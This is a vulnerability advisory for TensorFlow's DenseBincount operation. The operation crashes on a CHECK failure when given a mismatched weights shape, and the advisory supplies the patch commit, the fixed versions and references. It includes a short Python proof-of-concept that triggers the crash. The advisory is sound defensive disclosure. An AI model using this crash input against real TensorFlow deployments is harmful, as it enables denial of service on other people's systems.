PYSEC-2026-1043

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PYSEC-2026-1043

Summary: TensorFlow vulnerable to `CHECK` fail in `DenseBincount`

Details: ### Impact `DenseBincount` assumes its input tensor `weights` to either have the same shape as its input tensor `input` or to be length-0. A different `weights` shape will trigger a `CHECK` fail that can be used to trigger a denial of service attack. ```python import tensorflow as tf binary_output = True input = tf.random.uniform(shape=[0, 0], minval=-10000, maxval=10000, dtype=tf.int32, seed=-2460) size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000) weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000) tf.raw_ops.DenseBincount(input=input, size=size, weights=weights, binary_output=binary_output) ``` ### Patches We have patched the issue in GitHub commit [bf4c14353c2328636a18bfad1e151052c81d5f43](https://github.com/tensorflow/tensorflow/commit/bf4c14353c2328636a18bfad1e151052c81d5f43). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University

References: https://github.com/tensorflow/tensorflow/security/advisories/GHSA-w62h-8xjm-fv49, https://nvd.nist.gov/vuln/detail/CVE-2022-35987, https://github.com/tensorflow/tensorflow/commit/bf4c14353c2328636a18bfad1e151052c81d5f43, https://github.com/tensorflow/tensorflow, https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0, https://pypi.org/project/tensorflow-gpu, https://github.com/advisories/GHSA-w62h-8xjm-fv49